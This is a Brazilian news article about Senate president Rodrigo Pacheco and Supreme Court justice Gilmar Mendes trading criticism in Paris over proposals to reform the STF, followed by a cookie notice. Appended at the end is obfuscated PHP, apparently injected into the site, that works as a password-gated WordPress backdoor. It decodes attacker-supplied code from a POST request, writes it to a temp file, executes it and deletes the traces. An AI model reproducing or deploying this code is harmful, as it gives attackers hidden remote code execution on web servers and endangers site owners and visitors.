• 07.11.2023
  • Redação

Em Paris, Pacheco e Gilmar trocam críticas e acirram conflito sobre reforma do STF

Presidente do Senado defendeu mudanças no tribunal para resolver ‘crise da legitimidade’ das decisões judiciais; decano do Supremo afirmou que propostas em debate poderiam levar à ‘derrocada’ da Corte

O ministro Gilmar Mendes, decano do Supremo tribunal Federal (STF), e o presidente do Senado, Rodrigo Pacheco (PSD-MG), trocaram farpas neste sábado, 14, em um evento em Paris.

O Senado debate propostas para alterar as regras de indicação de ministros e de funcionamento do tribunal, como os mandatos fixos, a elevação da idade mínima dos nomeados, a limitação das decisões monocráticas e a restrição do acesso ao STF.

Pacheco defendeu uma reforma no Poder Judiciário para resolver o que chamou de ‘crise da legitimidade’ das decisões judiciais.

“Sempre defendi as prerrogativas do Supremo. Isso não significa que estejamos inertes a modificações que possam ser úteis à credibilidade e ao aprimoramento de todos os Poderes, inclusive do próprio Poder Judiciário”, afirmou em fórum promovido pelo Grupo Esfera Brasil.

O presidente do Senado negou que esteja em curso uma tentativa de ‘retaliação’ ao STF, mas deu a entender que a Corte estaria invadindo as prerrogativas do Congresso. Julgamentos recentes reforçaram o mal-estar, como o do marco temporal para demarcação de terras indígenas e o da descriminalização do aborto.

“O Congresso é a síntese mais perfeita do povo brasileiro”, afirmou o senador. “Não há que se admitir qualquer tipo de revisão, pelo Poder Legislativo, de decisões judiciais concebidas no STF, como não há a mínima possibilidade de se permitir ao STF que formate as regras e as leis do País, porque isso cabe legitimamente ao Poder Legislativo.”

Gilmar Mendes, por sua vez, defendeu o Supremo Tribunal Federal e destacou a importância da Corte na crise democrática operada ao longo do governo do ex-presidente Jair Bolsonaro e durante a pandemia. O decano afirmou ainda que algumas das propostas em debate para reformar o STF poderiam levar à ‘derrocada’ do tribunal.

“Se hoje nós tivemos a eleição do presidente Lula, foi graças ao STF. Se a política deixou de ser judicializada e deixou de criminalizada, isso se deve ao Supremo Tribunal Federal”, afirmou. “Não acho que os Poderes sejam insuscetíveis de reforma, mas as reformas precisam ser pensadas em termos globais.”

x

Utilizamos cookies e outras tecnologias para lhe oferecer uma experiência de navegação melhor, analisar o tráfego do site e personalizar o conteúdo, de acordo com a nossa Política de Privacidade. Ao continuar navegando, você concorda com estas condições.

if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}